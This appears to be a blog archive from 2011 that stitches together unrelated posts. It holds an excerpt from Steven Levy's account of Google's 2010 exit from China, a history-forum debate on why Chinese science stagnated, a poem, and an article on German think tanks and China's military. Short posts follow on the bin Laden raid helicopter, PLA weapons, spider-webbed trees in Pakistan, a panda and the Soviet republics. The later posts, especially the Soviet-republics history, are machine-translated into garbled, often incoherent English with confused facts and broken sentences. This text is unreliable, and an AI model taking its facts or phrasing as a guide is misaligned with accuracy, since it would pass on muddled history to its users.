For all the progress, some Google executives were beginning to think that its great China compromise wasn't working. A turning point came in 2008, the year China hosted the Olympics. In the run-up to its turn in the international spotlight, China apparently decided to increase its restrictions. It demanded that in addition to censoring the .cn results, Google purge objectionable links from the Chinese-language version of Google.com. That, of course, was unacceptable to Google -- it would mean that it was acting as an agent of repression for Chinese-speaking people all over the world, including in the U.S. Other search engines, including Microsoft's, agreed to such demands. But Google stalled, hoping that after the Olympics the Chinese would back off. They did not. The demands for censorship became broader and more frequent.

The last straw

In June a new problem arose involving Google Suggest, a search feature that instantly offered fully developed search queries when users typed just a few characters or words into the search box. This innovation, ultimately offered globally, was developed first in China after Google's search team realized that, because of difficulty in typing, Chinese users generally entered shorter queries into the search box. But Chinese officials discovered that in an alarming (to them) number of instances, the suggestions offered by Google were related to sexual matters. They informed Google of their unhappiness by summoning Kai-Fu Lee and other Google China executives to a local hotel, where representatives of three ministries were waiting with a laptop and a projector. Once everyone was seated, the show began. The Chinese went to Google.cn and typed in a vulgar term for breasts. Google Suggest offered links that displayed raw nudity, and more. The official typed in the word meaning "son," and one of the Google Suggest terms was "love affair between son and mother." The links to this term yielded explicit pornography. The woman serving tea in the conference room almost fainted at the spectacle. The Google people tried to explain that apparently someone had spammed keywords to artificially boost the popularity of sex sites in Google Suggest. The officials were not impressed. "You've been warned twice before, and this is the third time. So we're going to punish you." By that time Lee had already decided to leave Google.

Just before Christmas 2009, Google's information security manager Heather Adkins learned that she would fall short on her annual "don't get hacked" internal goal. Google's monitoring system had detected a break-in of Google's computer system, and some of the company's most precious intellectual property had been stolen. The hack was geographically tied to China -- and both the sophistication of the attack and the nature of its targets pointed to the government itself as an instigator of or a party to the attack.

"The more we learned as we looked into it, the more we realized this wasn't just a classic hack, but folks who were after something. This was hacking with a purpose," says chief legal officer David Drummond. As Google's security specialists kept looking, they found even more horrendous consequences. The hackers had dug into the Gmail accounts of Chinese dissidents and human rights activists. All their contacts, their plans, their most private information had fallen into the hands of intruders. It was hard to imagine that the Chinese government was not poring over them.

Within days Google set up the most elaborate war room in its history, as an entire Google facility was filled with a mix of security engineers working on the forensics of the incursions and policy lawyers trying to figure out what to do next. Meanwhile Google's executives began a series of meetings to determine the next step. The question they discussed was the same one that had been argued five years earlier: What's the right thing to do in China? Google had originally hoped that the Chinese would appreciate its compromise and tacitly tolerate Google's quiet pressure to relax the filtering. Instead it was the opposite. And now Google was under attack.

Brin took the incident personally. Insiders observed he was much less perturbed by the theft of Google's intellectual property than the fact that his company had unwittingly been a tool used to identify and silence critics of a repressive government. Brin wanted the incident to be the catalyst to the action that he and others had been urging since 2008: Google should stop censoring. He was passionate in his insistence. He had support from some executives who had soured on China over the past 10 months -- but not all. Notably, Schmidt was not convinced. But Brin was adamant: Google was under attack by the forces of evil, and if his fellow executives did not see things his way, they were supporting evil. (I'd heard from a knowledgeable but not firsthand source that Brin threatened to quit if Google did not change its policy. Brin, through a spokesperson, didn't recall saying that, and said that the company was so much in his blood and DNA, it was unlikely that he expressed that intention. He did acknowledge that during the many hours of debate, he presented his case with utmost passion.)

Cut ties and the aftermath

Brin's point of view eventually prevailed. On Jan. 10, 2010, Google's top executives reached a decision. Page had joined Brin in deciding to end Google's experiment in censorship; the outvoted Schmidt accepted the decision. (Observers would later say that the setback had long-lasting implications for Schmidt's relationship with the founders, but from the very start of his time at Google, Schmidt had understood that his word on crucial company matters was not final.) In any case, the company decided it would no longer carry out censorship for the Chinese government.

The news spread through Mountain View like an earthquake. Meetings all over the campus came to a dead stop as people looked at their laptops and read how Google was no longer doing the dirty work of the Chinese dictatorship. "I think a whole generation of Googlers will remember exactly where they were when that blog item appeared," says one product manager, Rick Klau.

Google fans created a makeshift shrine in front of its China headquarters in March 2010, lighting candles, leaving flowers and cards, and writing messages of appreciation around the Google logo.

For Google's employees in China, the day was also unforgettable. Not one of them had been alerted ahead of time. Drummond posted his announcement at 6 a.m. Beijing time, and many of the Googlers in Beijing and Shanghai first heard about it when frantic colleagues awakened them. Employees filed into the office in a state of shock. That afternoon Google told all employees to leave and gave them tickets to see Avatar. The next day everyone gathered in the café for a teleconference with Brin and other executives, who tried to explain Google's actions. It was a tough sell. Julie Zhu, Google's new government relations person, delivered an emotional objection to her employers, overseas generals who seemed to have abandoned the soldiers in the theater of war. You should not have given up, she argued. You should have kept fighting.

Kai-Fu Lee now says that if you look at China's behavior over a long horizon -- 20 or 30 years -- it's clear that the trend is toward more openness. The incidents that led to Google's retreat were "a perturbation" in this movement, mainly because Chinese leaders had reached their limits. "The next generation will come up in less than two years," he says. "They're younger, more progressive, many American-trained, and many have worked in businesses and run banks -- they're going to be more open."

Fortune Podcast: Missteps in China - Assistant managing editor Leigh Gallagher speaks with author Steven Levy about the chapter of his new book, In the Plex, that details how Google got it wrong in China.

What Role Did Language Play In China's Scientific Stagnation

2011-05-08T23:10:00.001+08:00

http://www.thehistoryforum.com/forum/viewtopic.php?f=71&t=29668

China had historically been a place of great scientific advancement and is well known for having beaten Europe to a great many innovations and discoveries. However, by at least the sixteenth century China's scientific and technological advancement had entered a period of prolonged stagnation, one which allowed Europe to overtake China in the sciences.

The Needham question asks why China suddenly fell behind Europe in the sciences. Joseph Needham himself argued that it was the rising negative political and cultural impact of Confucianism and Taoism which stifled advancement, perhaps similar to the European Dark Ages. While perhaps partially accurate, this argument seems insufficient on its own to fully explain the phenomenon.

One interesting case I've heard put forward is that the Chinese language itself played a prohibitive role in terms of scientific advancement beyond a certain point. While the Chinese were advanced enough to invent the printing press many years ahead of Europe, the Chinese language lacked an alphabet or system of writing which could be easily codified into a mass-producible typeset. As a result, printing remained an exclusive and expensive practice in China.

This contrasts dramatically with the European case, where the easy availability of printing for the emerging educated middle classes after the renaissance period allowed for the rapid spread of ideas and knowledge, and was essential for the move towards a modern scientific community and the widening of education programmes.

This idea reminded me of a similar but seemingly unrelated problem encountered by the Chinese relating to their written language: the difficulty of learning to read and write it with any fluency. The problem was seen as so severe that in efforts to boost literacy the young People's Republic took the drastic step of changing their written character system to the Simplified Chinese we students of the language are thankful for today.

Do people think that the added difficulties in learning to read and write (which probably restricted literacy on class lines more dramatically than in Europe post-Reformation) is a potential significant contributing factor to the Chinese scientific and technological stagnation of the last few centuries?

Which explanations of the Needham paradox do posters favour? Do you feel there are other significant contributing factors which are routinely ignored?

******************************************************************

Comments

Smilin' dave

Couldn't it be argued that the diversity of languages in Europe would act as an equally significant barrier to the spread of ideas?

In support of a cultural explanation:

- There was no development of a simplified mass language because there was no 'need'. The more complicated language probably served the elites well enough, and the peasantry would have gotten no value from it. There really wasn't much of a middle class right up until the collapse of imperial China.

- While a number of ideas/concepts occurred in China first, it was often only in Europe that these things reached full potential. Gunpowder in the classic example.

Yu-Hsing Chen（Re:ls）

What is the definition of middle class here?

There is also a misconception of using the late 19th century Qing as a biometer for the entire Ming / Qing era. ignoring the obvious problems that was plauging it at the time (like how it's entire fertile and cultured region in the south was completely overran by the Taiping rebellion)

As far as I can see, based on the fact that most sources points to the better days of Ming / Qing era typically having several MILLION people at most given time who's passed the lowest level of the imperial exam (call the children's exam) . this exclude kids who are still learning, and women who aren't allow to take the test. and the guys who since quit their studies or aren't actually learned enough (since the exam is not just about literacy, it is testing on Confucian text) . (We are abosalutely sure of figures of guys passing the next level, the county test, typically hovering in the 500-600K range nation wide.)

Many scholar now believe that at it's height in the Song dynasty, the actual literacy rate in the Song was somewhere close to 25-30%, while even in the Ming/Qing it was probably 15-20% or so (this is based on it's better days, and not when everything is going to hell for them), from everything I hear of Europe at the time, I have doubts that there is really much separation if not being the other way around.

Yu-Hsing Chen

As for the Needhamquestion, there are a couple of aspects IMHO.

A. the need:

After the collapse of the western Roman empire, Europe was never united again, thus there was a constant pressure on almost all states of potential war, yet such was not the case in China, where each major dynasty typically sees at least a hundred year of near total peace.

Military technology develope due to military need, that much is a no-brainer, yet for example, in the reign of Wanli emperor in late 16th century China, typically seen as one of the more troubled times of the Ming, the Ming dynasty fought a total of 6 notable wars in his 50ish year rule. and of these only 3 were really serious (the Imjin war against the Japanese, the war to finally subdue the Mongols in his early reign, and the war against the rising Manchus that would end up replacing the Ming in his late years) while 3 were meh (a major military garrison rebellion , one of the 9 garrison in the north rebelled, a local chieften in the South took over a portion of modern day Sichuan in the 1590s, and a border war against the Burmese that was kinda a joke given the huge disaparity in military competence of the two side at the time)

We're talking about a Dynasty who's realm is roughly the size of Western Europe, yet in a 50 year span that's considered rough, they had 3 sort of major war and 3 smaller war.

Military technology often push the bonderies of human technology, and in China the need simply wasn't consistently there. you might say they did TOO good of a job in bashing in the head of all their competitor . by the Qing era there was even a backward trend as the Qing was keen on keeping their nomadic core at the heart of their military. so it is quite arguable that by the Opium war in 1839, the Qing army was infact significantly technologically inferior to the Ming army of 1639.

B. the key break through: the series of events that lead to the west discovering the Americas and new trade rout was one of the key reason that it surged forward . one could say that China reached a pinnical of the old world's restriction and stayed there. but when Europe discovered a new world they moved ahead into a new set of rules. something China was simply completely left out of.

The need to look for a new trade rout had much to do with the closing of the old, which had much to do with the Mongol invasion and the subsequent rise of the Ottoman empire. the closing of the old trade rout killed the old traditional commerical power like the Italian states (and more over, the middle east. hence the decline of the middle east is also explained) and in the desperation to find a new rout the European forced the limits of the knowledge and technology, and was rewarded greatly.

Smilin' dave

Generally speaking its an economic/societal thing. I would suggest a metric of a class that has not insignificant property holdings (be that land, a business concern or whatever). In modern terms this might be a little vague. However distinction is even more pronounced in a relatively feudal system as existed in China, where the upper class and it's chosen servants (which is essentially what the scholars were for) are defined in large part by title.

The peasant on the other hand had no property of value (if they held land, it was too small to be effective) and certainly no official title. So China's middle class seems to have consisted of landlords, and later on a thin layer of urban professionals.

Yu-Hsing Chen

(Re:ls)

Except that you miss the point of relative social mobility here. the scholars' title is not a father to son thing, but one that is based on the imperial exam.

There is a mountain of evidence that the vast majority of scholars who pass the exams came from families of only relatively notable wealth (aka, small land owners) , or at least weren't direct decendents of other officals . (there is a small degree of title inheritency, but it is without a doubt that the majority of influential officials did not rise through this route)

The term "peasants" gets thrown around so much that many draw the same conclusion that Chinese peasants = European medieva l peasants, aka serfs who have almost no legal rights, no true property, and almost no chance of changing their social status . which is the complete opposite of what the majority of Chinese farmers were actually like. (for example, the single biggest order of busniess for local officals of the time is to settle local legal disputes, usually between different farmers. this includes everything from marriage to property to all sorts of random stuff.)

I can easily throw you just about every notable offical from the Song to Qing, which is consisted almost entirely of such examples (barring some Qing dynasty cases where they were Manchurian noblemans)

But let's just start with one very easy one, the Song era offical Oyang Xiu, who became a fairly influential offical in his own right (he was the governor of the capital city), but was probably more remembered for his cultural importance. he is widly famous for being recorded that he was raised by a single mother, and that he actually learned to write on sand, as the single mother couldn't afford any pens and paper when he was a child

While he is obviously on the rather extreme side of a poor guy making it. it's quite common for guys with little to no background becomming officals in China, something that can change the fortune of his entire clan for the next couple of generation usually. which is also why most villages hoard together resources to hire teacher to teach their brighter kids how to read and write with the hope of them earning fame and fortune through this system.

The social mobility is a very key reason on the stability of the later Chinese dynasties, because almost anyone can potentially become high ranking officals. the officals most likely come from common backgrounds, and will go back to common backgrounds when he retires, thus the entire society ties together tightly and the class distinction and struggle become much less noticable.

If you even pass the basic county level exam, your considered a Xiu Tsai, aka into the "scholar" level. which give you the right to speak to all but the highest level officals on even grounds (aka, you don't need to bow to him, he can't arrest you without extremely strong evidence. ) and there were tons of Xiu Tsai running around China during the era, at the least 1 out of 100 man was a certified Xiu Tsai (or more) and those prospecting to join that class is several times that.

Many of those Xiu Tsai would never rise to higher levels, and they worked in things like scribes or tutors or story tellers, hardly a "elite" class by any standard. stories of old Xiu Tsais who couldn't go up to the next level needing to borrow rice and money from their much less learned neighbor (and thus often earning their scorns ) are one of the most common themes to late Ming to Qing dynasty era novels.

Smilin' dave

Social mobility doesn't necessarily undermine class distinctions if the movement between 'layers' results in someone changing their social background. After all the US has an upper class and basically no system of title (none if you consider elected office as a different category). As I understand it the poorest could only afford the education to pass the exams by seeking sponsorship from a wealthy family for example, which ties our 'peasant' to an upper class group from day one.

Is it also no correct that those who passed the exams didn't always find employment within the system? While they would experience some social boost from their status, such persons would enjoy no economic advantage, which brings us back to the need for significant property to be considered middle class.

The same example could be applied to Russian peasants, both pre and post serfdom. Even a serf might have some notional 'property', but they probably didn't completely own it.

Again, nepotism or patronage doesn't undermine class definitions.

So to re-emphasise my points

- None of this proves that there was an apparent need for a commonly used language. Indeed the scholars were in part being tested for their ability to use the language of the elite.

- None of this proves the existence of a significant middle class as emerged in Europe.

All of what you are saying is quite interesting, and probably true. However, it doesn't undermine my position in this discussion.

Yu-Hsing Chen

（Re:ls）

There are some exception to the rule where some guys just somehow managed to learn through extraoridnary means, (such as Oyang Xiu's example there) for the most part though, the actual cost of learning was not actually that far beyond the reach of the average Chinese families, which is the key issue here. as the books were in common supply (which goes back to the printing part, as books were widely avalible and all but the most remote village most likely could pool together resource to buy some, and it was hardly just some sort of exquist collection reserved for the rich )

The most common method is that the individual communities would try to put together a private school where they will let those deem on the relatively bright side learn. As already noted, there was really no shortage of teachers. (if not an over supply, which meant the cost of hiring teacher was actually very low ) . truly wealthy families (bigger landlords. merchant familes) often just hire their own tutors. these private schools were called ShiXu (私塾) and were still pretty common even up to around the 1930s.

The final incarnation of the imperial exam essentially had 4 level (the details are obviously more complicated but for simplicity sake here..) the Childrens' exam, the County level exam (after this your considered a scholar), the provincial exam (after this your considered an official), and the Capital exam.

The patronage aspect I have referred to usually isn't the learning part, it's the cost of travel, many of those Chinese provinces were bigger than a large European states. simply travelling to the provincial capital (not to meantion you need to stay there for awhile, both for the test and waiting the results) is actually a significantly heavier burden than learning itself. hence why you see why some popular late Ming/Qing stories usually revolving around the poor Xiu Tsais passing out on the street due to hunger (as his funds ran out), only to be saved by a beautiful young lady who generously helped him, unaware of his status. only for the Xiu Tsai to come back awhile later announcing that he's now a future official and would like to marry the girl etc, it's the Chinese version of the frog prince really.

Once your past the provincial level of test, your almost surely guarnteed a government position of some sort (and if you didn't that's usually when dynasties were ready to go to hell), the final level of exam, taken in the capital itself, is more or less only relavant to your later developments. aka guys who pass the final level (the final level's passing rate is actually pretty high.) are more likely to end up being promoted faster than those who did not.

However, the most difficult part is indeed passing the provincial level part. and those that are stuck inbetween that are what your referring to, those we have the title of a scholar but very little actual economic benifits (the states do sponsor some of them with a scholarship of sort, but the majority don't get that). But they're also just potentially one stroke of the pen away from being an offical.

I am more specifically trying to compare the later dynasties of China (10th century onward) to the pre - industrial Europe. the key thing remains that China was stuck in that era . while Europe moved foward. but if we compare that era to most of the comparable European eras, there is signifcant evidence that points to the Chinese system being better for the common people, relative wealth is obviously a subject of debate. but potential social movement is almost certainly higher. and due to the system that allows that, literacy rate was most likely wider spread (which goes back to the original topic, Chinese literacy rate in the the later 19th century to mid 20th century was terrible compare to industrialized Europe, but what evidence is there that this was the case before that? everything I have read suggest that in most pre industrial European area literacy rate was far south of the 20-30% that later Chinese dynasties usually can sustain.), and class distinction and struggle were significantly less.

The European middle class your referring to did not actually come into serious existence until the industrial revolution (one could argue that the North American colonist reach that point earlier though. on the merits of their land grabbing). by that point and beyond anyone would surely agree that the Chinese were left behind by a mile and only by the last couple of decades have even begun to catch up. that does not actually undermine many of the merits of the later Chinese social system relative to what was going on in most of Europe until probably the early half of the 18th century at the earliest.

Smilin' dave

Actually the middle class in much of Europe first achieve prominence in agriculture, not industry. The most natural example was the emergence of the wool trade, which created a more merchantile aspect and lead to a craze for raising sheep. To a lesser extent you have wine cultivators in France. This shift lead to practices like enclosure, which in turn reflected the end of feudal land management.

Yu-Hsing Chen

THe main point in this is that there is simply little evidence in the Chinese dynasties having a lower literacy rate than Western Europe as a whole. at least until public eduction really became relatively wide spread. it was more likely to have been the other way around. due to Chinese dynasties providing high incentives for it's civilians to go into learning.

I'm am no expert on European history , but from some tibits I pick up here and there, using say.. England (which was almost surely at the forefront of Europe in most aspects from the early 1700s onward) in 1830s there were roughly 25% of children enrolled in sunday schools in England. so add on top of that the nobilities and we come to to the conclusion that at that point the litearcy rate in England

(the best in Europe most likely) was what? in the 30-40% range ? just a little better than say.. the Song dynasty in about 700-800 years earlier.

The point is, China's stagnation seem to have been little influenced by literacy rates. which was actually very high by pre-industrial standards. it was a combination of many other things, and IMHO the single largest aspect remains that because it's economic zone of influence simply remained the same and even shrank. (as the old trade routs closed down to them after the Mongolian invasion). their economic level simply never was able to reach the point that would offer them to jump onto the next level... until the Qing dynasty in the mid 1800s. and by then that was probably more of a curse than a blessing to be suddenly exposed to a whole new world .

The Silence Of Vadjra Guru Pema

2011-05-07T22:01:00.001+08:00

The Silence Of Vadjra Guru Pema

　　（See Me Or Not）

Author：ZaXiLaMu·DuoDuo(Tashi Lahm·Dodo)

　　See Me,

　　Or See Me Not,

　　I Am Here,

　　Without Joy Or Tear.

　　Miss Me,

　　Or Miss Me Not,

　　Affection Is Here,

　　And It Isn't Going Anywhere.

　　Love Me,

　　Or Love Me Not,

　　Love Is Here,

　　And It Isn't Going To Change.

　　Come To Me,

　　Or Come To Me Not,

　　My Hand Is Here,

　　And I Am Not Going To Let Go .

　　Be In My Bosom,

　　Or Let Me Live In Your Heart.

　　Silence ... Love ...

　　Halcyon ... Happy ...

The Next Shooting War

2011-05-07T00:24:00.000+08:00

http://www.german-foreign-policy.com/en/fulltext/57931

BERLIN/BEIJING (own report) - The Chinese military's modernization is stimulating the interest of high-ranking German military policy institutions. The Federal College for Security Studies, a Bundeswehr think tank has announced that in June it will hold a conference on the theme "An Arms Race in Asia?". The objective of the conference is to make an inventory of Chinese military modernization and of the East Asian regional balance of forces. "How are the major regional powers (USA, Russia, Japan, India) reacting to the Chinese combination of growing military capabilities, on the one hand, and recently, renewed offensive claims to power, on the other?" asks the college. Leading experts are predicting serious conflicts and growing tensions, for example in the South China Sea. Rivalry between China and the USA is to be expected above all. The leading media has begun speaking of a "Chinese 'Monroe Doctrine'", saying that China has "become a geopolitical countervailing force to the USA in the west Pacific and in eastern Asia."The US - Chinese dispute also sets the framework for Germany's foreign policy.

Enemy Concept: "People's Liberation Army"

The modernization and restructuration of the Chinese "People's Liberation Army" has been stimulating the interests of German geostrategists since the 1990s. Quantitatively the largest army in the world, the People's Liberation Army was considered by western observers to be inefficient from the standpoint of military technology, showing deficiencies in equipment, as well as weak in the development of its air force and naval capabilities. This appraisal has undergone a correction over the past few years. Not only the purchase of Russian weaponry, permitting the People's Liberation Army to make several surges in modernization and providing access to branches of the military that, until then, had been out of reach, has progressively lifted China to a par with western powers. Even the Federal College of Security Studies often cites the purchase of a Russian aircraft carrier and its modification to meet Chinese specifications as a good example. However, the continuation of the Chinese economic boom and the formation of China's own, internationally competitive capabilities, particularly in space and computer technologies are propelling the development of the Chinese armed forces. The USA sees China's first successful shooting down of a burned out weather satellite with a Chinese missile, as particularly dangerous for its own, often satellite supported, military techniques.

"China Discussions" Without China

The question of what threat China poses to its neighbors, on the one hand, to the US' geopolitical hegemony, on the other, will be the themes of the "Trier China Discussions 2011" conference. The conference is sponsored by the German Federal College for Security Studies, the CDU-affiliated Konrad Adenauer Foundation and the University of Trier.[1] The Federal College is Germany's most significant military policy think tank. The choice of speakers and the topics of their talks are good examples of the threat Berlin believes to have discerned. Alongside Brig. Gen. Wiermann, from the Ministry of Defense, who will speak on "Strategic Armament and Capability Evaluation" of the People's Liberation Army, other speakers from universities and think tanks will expound on the relations between Russia and China. China's emerging regional confrontations with India and Japan are also among the topics, but relations with the USA are clearly of primary interest. A speaker from the People's Republic of China, who could give the Chinese view of the situation, has not been planned.

China and the USA

Dr. Martin Wagener, a junior professor at the University of Trier, who will speak on the "Countervailing Power Formation? Military Aspects of the USA's China Policy", not only shows the involvement of institutes of higher learning with state think tanks, but also the objective of the conference. Wagener parts from the premise that the dissention between China and the USA will develop into the strategically decisive conflict of decades to come, even if the People's Republic still has a great deal of catching up to do in the economic and military fields to the USA. "A confrontation between the two most important great powers of the Far East seems more like a postponement than nullification. A domestically reinforced China could get the idea of catching up more offensively to the USA."[2] Wagener rejects speculations about there being a parallel between the concentration of the economic network and a growing placidity. "History has demonstrated on various occasions that economic interpenetration can promote, but not guarantee peace. (...) Therefore it is merely consequential, when China prepares itself for a possible military escalation of conflicts between great powers."

Rivals Rather than "G2"?

Wagener sees the possible confrontation between China and the USA mainly around the unsolved issue of the Taiwan Straits. The People's Republic considers Taiwan to be part of its territory. But the USA, while officially upholding the "One China Policy", which recognizes that Taiwan is an inseparable part of China, is, nevertheless, systematically arming Taiwan and maintaining its strong military presence off the Chinese coast. However, the confrontations, according to Wagener, over the South China Sea have begun to take center stage. China has declared this area one of its "key concerns", which is "problematic", says Wagener, because this "stakes out non-negotiable territorial claims". This contention could escalate, particularly due to the Korean Peninsular conflict. The two Korean adversaries are closely allied with either China or the USA respectively. Moreover, the USA is maintaining a strong naval presence in the Chinese Sea. "China had reacted particularly sensitively in the run-up to the US-South Korean naval maneuvers in July 2010. Peking strictly opposes maneuvers in the Yellow Sea. Washington, at first gave in and held the maneuvers in the Sea of Japan (East Sea). (...) Toward the end of September 2010 another US/South Korean naval exercise was held - this time directly in the Yellow Sea."[3]

Not Yet Ready

For Wagener, an inventory of the Chinese arms buildup demonstrates that strategically China is focused on the USA. "These weapons systems are definitely directed at the USA. China has had enough short and medium range missile systems to deter Russia, India, or Japan, for quite some time. In a potential conflict with the USA, Peking's objective is to have an influence over the US' will to act - for example to support Taiwan following a Chinese attack."[4] China, Wagener predicts, has a long road ahead, before it is able to compete also on the military level with the USA. The German Institute for International and Security Affairs (SWP), which will also be represented with a lecturer at the Trier conference, arrives at a similar prognosis. "By 2010 - the deadline Peking has set - the foundations for the modernization should have been laid. But the Chinese military will not be on a par with the US military, even if they would extend the deadline to 2020."[5] Wagener concludes, "Peking will therefore have to make enormous efforts to close the military technology gap between itself and Washington".[6]

China's "Monroe Doctrine"

At the Trier Conference, German East Asian interests will play no prominent role - it is too evident that the USA is militarily unrivaled and that there is a lack of exclusive opportunities for German foreign policy to have influence in China's close vicinity. However, the expected escalation between China and the USA offers options for becoming independently active. (german-foreign-policy.com reported[7]) In the meantime, experts are predicting that not only the USA but, in the long run, also Germany and Europe could be threatened by the growing military strength of the People's Republic of China. For example, the Frankfurter Allgemeine Zeitung refers to a "Chinese 'Monroe Doctrine'": "The basic pattern of the Chinese development of power is a copy of the two-hundred year old 'Monroe Doctrine', which was aimed against the European colonial powers in Latin America (...). China has become a geopolitical countervailing force to the USA in the western Pacific and in eastern Asia, a countervailing force to Russia on the Eurasian continent as well as a countervailing force to India in Southern Asia."[8] If one follows this analysis, the thinking in strategic spheres of influence is approaching new heights.

Kill Bin Laden Spare No Effort：US Military Top-Secret New Helicopter Accidental Exposure

2011-05-05T18:04:00.000+08:00

For Kill Bin Laden ,US And Amry Hurt Everyone At All Has A Negative , Pay The All High Cost , At The Time , Only For Revenge.

The U.S. Special Forces On May 2nd Take Action,In The Pakistan Capital Of Islamabad Northern City Abbottabad Has Killed The "Base" Organization Leader Head Osama Bin Laden.

But US Military Top-Secret New Helicopter Accidental Exposure For Crashed.There Was No Word On The Cause,The US-Military Had Few Details, Saying Only That Bin Laden Was Dead.

Slient Hawk Concept

Slient Hawk Helicopter

http://www.318net.com/a/shachangdianbing/20110505/183.html

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The PLA's Toy

2011-04-28T17:36:00.000+08:00

The PLA's Small Toys

Recently There Are Many English Media Attention To Some Small Toys In China Army,Actually Compared Than Those Big Guy In Libya,These Are Also Really Just A Small Toy So So...

J-20

China's New Jet The J-20 , Which Is Said To Match Most Of The World's Best Fighters.

Aircraft Carrier

The Newest Old Aircraft Carrier - Varyag , Is In The Northern Port City Of DaLian, Where It Is Being Refurbished .

J-15

The Carrier Fighter J-15 Of Chinese Future Aircraft Carrier Will Deliver To The PLAN In The Shortest Possible Timeframe .

DF-25

The DF-25 Is China's Newest Operational Intermediate-Range Ballistic Missile（IRBM）.

It Is Killer For "Indian Head Division" .

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Pakistan Grimace Trees

2011-04-26T22:42:00.001+08:00

Pakistan As Many Month Of Floods, Appears Has Been Extremely Unusual The Moue, The Spider Which There Is No Place Might Run Away On Sets Up In Abundance, And Nettinged In Above, Has Wrapped Up One Densely The Trees "Coat". But This Phenomenon After The Flood Disaster Area Is Also A Positive Signal, Because Spider Massive Nettinging, To Eliminate The Dissemination Malaria's Prime Culprit Mosquito Musca, Will Have The Enormous Significance.

[Windwing]: Whole World "Ghost Different" Trees

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Panda Sneezing

2011-04-26T22:16:00.000+08:00

I Always Think That People Love Pandas . They Are So Lovely .

Wild Candy Provides Visitors The True Story Of The Sneezing Panda, And We're Excited To Be Able To Offer You The Same Image In Print ...

A Baby Panda Sneeze And He Scares His Mother...

[Windwing]Baby Pandas Gang War: http://wiudwing.blogspot.com/2011/03/baby-pandas-gang-war.html

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RedFlag Fell：CCCP And Flags

2011-04-20T16:49:00.007+08:00

When The Soviet Union Collapsed In 1991 , It Suddenly Became Obvious That The USSR Had Never Been A Proper Country .

The Union Of Soviet Socialist Republics (USSR/CCCP/SU)

''Российская Советская Федеративная Социалистическая Республика'' , РСФСР , Russian SFSR , Russia . 1917.11.7 --- 1991.12.25

Ukraine Soviet Socialism Republic One Of Soviet Union's , Is Also Soviet Union Initiates Countries. Ukraine In Soviet Union, The Population Is Only Inferior To The Russian , The Area Also Occupies Third, After Occupying Russian And The Khazak , Is Economy More Developed . The Republic Capital Starts For Kharkov (1918-1934), Latter Moves To Kiev. The 1917 Year On December 5, The Ukraine Soviet Socialism Republic Is Tenable, In 1918, West Ukraine (West Dnieper River) Is Seized By Poland. In 1922 Soviet Union Was Founded, East Ukraine Became Soviet Union To Initiate One Of Countries. In November, 1939, Soviet Troops Entered East Poland, West Ukraine And Ukraine Soviet Socialism Republic Merge. In August, 1940, Will Belong To Romanian Territory Northern Bukovina And Bessarabia Part Merges Ukraine. In 1941, Ukraine Is Seized By The German Fascist, In 1944 October, Ukraine Liberated. In October, 1945, The Ukraine Soviet Socialism Republic Took A Non-Independent Country To Join The United Nations Together With Soviet Union, Became The United Nations To Initiate One Of Member Nations. In 1954, Crimea Turned Over Ukraine From Russia, Became A Ukraine State. On July 16 1990, The Ukraine Supreme Soviet Declared That The Ukraine Soviet Socialism Republic Constitution And The Law Are Higher Than The Soviet Socialism Republic Alliance Constitution And The Law, And Is Authorized To Establish Own Armed Force. On August 24, 1991, The Ukraine Official Announcement Was Separated From Soviet Union To Be Independent .

Belarus Is Belongs To An Economy More Developed Union Republic In The Entire Soviet Union, Capital Minsk. After 1917 Year Russia October Revolution Victory, Belarus Has Established The Soviet Political Power, Before In 1918 First World War Germany Defeated, Belarus Most Seized For Germany. On January 1, 1919, Established The Belarus Soviet Socialism Republic. Polish Duplicate Country, Has The SU-Po War, Soviet Union Cedes West Belarus And West Ukraine Gives Poland. December 3, East 1922 Belarus Took Initiates The Country To Join Soviet Union. In 1939, Poland Divided By Germany And Soviet Union Seizes, West Belarus Merged The Belarus Soviet Socialism Republic. In 1941 The SU-Germany Outbreak Of War, Belarus Is Seized By The German Army, In 1944 June SU Troops Liberated Belarus. The 1990 Year On July 27, The Belarus Supreme Soviet Through "Sovereignty Manifesto", On August 25, 1991, Belarus Announced That Is Separated From Soviet Union To Be Independent.

In 1920, Estonia Was Separated From Soviet Russia To Obtain The Independence, And Has Established The Republic. In June, 1940, Soviet Troops Seized The Three Countries Of Baltic Sea, On July 21 Has Established The Estonian Soviet Socialism Republic, Merged Soviet Union. In 1941, The Soviet Germany Outbreak Of War, Nazi Germany Has Seized Estonia, In 1944, Soviet Union Has Seized Estonia. The 1990 Year, Estonia Announced That The Country's Name Change Is Estonia, In 1991, Liked Announcing That Was Separated From Soviet Union To Be Independent Officially.

Latvia, Located At Eastern Europe's Baltic Sea Coast.

Before 1918, Lithuania Is A Tsarist Russia's Province. In 1918, Set Up The Declare Independence, Tenable Republic. The End Of 1918 To The Beginning Of 1919, The Lithuania Most Districts Has Established The Soviet Political Power Successively. In February, 1919.2 ~ August Established The Lithuania And Belarus Soviet Socialism Republic. In April, 1919 Poland Seized Vilnius.In January 1940, Soviet Union Seizes Lithuania, Restores The Soviet Political Power, In July Establishes The Lithuania Soviet Socialism Republic, In August Joins Soviet Union, Becomes A Soviet Union's Republic. 1988 The End Of The Year, Sets Up The Nationalism Organization "To Strive For The Reform Movement" (The Lithuanian To Be Called : SjŪDis) Establishes, Raises The New Claim Independence The Tide. The 1990 Year, SjŪDis Elects In The Lithuania Supreme Soviet Wins, Obtains Incumbent Party's Status, The New Soviet Passes "About The Reply Independent Lithuania Country" The Agreement, Announces The National Independence, Decides The Country's Name Is "The Lithuania Republic", Before And Restored 1940 The National Flag. Stands Is In Soviet Union 15 Union Republic The First Declare Independence Country. The SjŪDis's Independent Position Encounters Opposed That Is Separated From Soviet Union's Political Power Vociferous Objects. In Order To Prevent Lithuania To Be Independent, The Soviet Government Has Taken A Series Of Measures, And Military Occupation Vilnius. The 1991 Year On September 6 Lithuania Obtains The Independent Status Officially.

The Reason Why Russian Immigrants Poured Into Occupied Estonia And Latvia In The Soviet Era , But Not Into Lithuania , Is An Interesting Historical Question Which Affects The Present.

Transcaucasia Soviet Socialism Federal Republic (Russian: Закавказская Социалистическая Федеративная Советская Республика (Зсфср)) Was Existed Joins Soviet Union's Soviet Republic From 1922 One Which To 1936, It By Georgia, Armenia And Azerbaijan Was Composed, In Soviet Union It Also By Transcaucasia.

